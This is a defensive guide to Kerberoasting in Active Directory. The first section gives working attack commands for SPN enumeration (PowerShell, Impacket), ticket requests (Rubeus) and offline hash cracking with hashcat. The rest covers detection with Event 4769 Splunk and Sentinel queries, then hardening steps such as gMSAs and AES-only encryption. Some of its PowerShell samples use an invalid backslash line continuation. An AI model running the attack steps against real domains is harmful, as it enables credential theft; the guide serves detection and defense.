How to Detect Kerberoasting Attacks in Active Directory

Step 1: Enumerate accounts with SPNs

The attacker identifies all domain accounts with registered Service Principal Names:

# Any domain user can run this
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
    Select-Object SamAccountName, ServicePrincipalName

# Or using Impacket from a Linux machine
GetUserSPNs.py domain.local/username:password -request

Step 2: Request service tickets

The attacker requests a Kerberos TGS (service ticket) for each SPN-registered account:

# Using Rubeus (offensive tool)
Rubeus.exe kerberoast /outfile:hashes.txt

# Using native Windows (any domain user)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/sqlserver.domain.local:1433'

The Domain Controller processes the request as legitimate: it is a standard Kerberos operation. The returned ticket is encrypted with the service account's NTLM hash.

Step 3: Crack offline

# Hashcat: RC4 Kerberoast hash (type 13100)
hashcat -m 13100 hashes.txt /path/to/wordlist.txt --rules /path/to/rules.txt

# AES Kerberoast hash (type 19600 for AES-128, 19700 for AES-256)
hashcat -m 19600 hashes.txt /path/to/wordlist.txt

Weak passwords crack in seconds. Passwords under 15 characters using common patterns can crack in under an hour on a modern GPU. Long, random service account passwords (25+ characters) are computationally infeasible to crack.

Event ID 4769 fires on Domain Controllers when a Kerberos service ticket is requested. The critical field for Kerberoasting detection is the Ticket Encryption Type.

Encryption types in Event 4769:

• 0x11 (AES-128): Normal: modern clients use AES
• 0x12 (AES-256): Normal: modern clients use AES
• 0x17 (RC4-HMAC): Suspicious: attackers request RC4 because RC4 hashes crack faster than AES hashes
• 0x18 (RC4-HMAC-EXP): Suspicious: weaker RC4 variant

Splunk SPL: Kerberoasting detection:

index=windows EventCode=4769
| where Ticket_Encryption_Type = "0x17" OR Ticket_Encryption_Type = "0x18"
| where Service_Name != "krbtgt"
| where NOT match(Service_Name, "\$")  /* Filter out machine accounts */
| where Client_Address != "::1"  /* Filter localhost */
| stats count as ticket_count, values(Service_Name) as services_targeted
      by Account_Name, Client_Address, _time
| where ticket_count > 2  /* Multiple RC4 requests in a window is high confidence */
| sort -ticket_count

Microsoft Sentinel KQL: Kerberoasting detection:

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" or TicketEncryptionType == "0x18"
| where ServiceName !endswith "$"  // Exclude machine accounts
| where ServiceName != "krbtgt"
| where IpAddress != "::1" and IpAddress != "-"
| summarize
    RequestCount = count(),
    TargetedAccounts = make_set(ServiceName),
    SourceIPs = make_set(IpAddress)
    by Account, bin(TimeGenerated, 10m)
| where RequestCount > 3 or array_length(TargetedAccounts) > 2
| sort by RequestCount desc

Alert tuning: Some legitimate applications request RC4 tickets: legacy applications that do not support AES, and some third-party Kerberos clients. Baseline the normal count of RC4 4769 events per day; alert on deviations above 3 standard deviations, or alert specifically when a single account requests RC4 tickets for multiple SPNs in under 5 minutes.

Detection is important, but hardening service accounts makes successful cracking computationally infeasible even if the hash is obtained.

Control 1: Enforce long, random passwords for service accounts (25+ characters)

# Check current password length for a service account
Get-ADUser -Identity svc-sql -Properties PasswordLastSet, PasswordNeverExpires

# Set a long random password (use a password manager or generate programmatically)
$password = -join ((65..90) + (97..122) + (48..57) + (33..47) | Get-Random -Count 32 | ForEach-Object {[char]$_})
Set-ADAccountPassword -Identity svc-sql -NewPassword (ConvertTo-SecureString $password -AsPlainText -Force)

A 25-character random password takes centuries to crack even with a GPU cluster. A 10-character password with common patterns cracks in seconds.

Control 2: Migrate service accounts to Group Managed Service Accounts (gMSAs)

gMSAs automatically rotate their passwords to 120-character random strings managed by Active Directory: making Kerberoasting entirely infeasible:

# Create a gMSA
New-ADServiceAccount -Name gMSA-SQLService \
  -DNSHostName sqlservice.domain.local \
  -PrincipalsAllowedToRetrieveManagedPassword SQL-Servers-Group

# Install on the service host
Install-ADServiceAccount gMSA-SQLService

# Configure the Windows service to use the gMSA
# In Services > Properties > Log On > This account: domain\gMSA-SQLService$

Control 3: Require AES encryption for service accounts

# Disable RC4 for specific accounts: force AES only
Set-ADUser -Identity svc-sql \
  -KerberosEncryptionType AES128,AES256

This does not prevent Kerberoasting (AES hashes can still be cracked) but significantly increases the GPU time required: AES hashes crack 100x slower than RC4.

Control 4: Audit all SPN registrations

# Find all user accounts with SPNs (not machine accounts)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} \
  -Properties ServicePrincipalName, PasswordLastSet |
  Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet |
  Sort-Object PasswordLastSet

Any account with a SPN and a password older than 90 days is a Kerberoasting target. Prioritize gMSA migration for these accounts.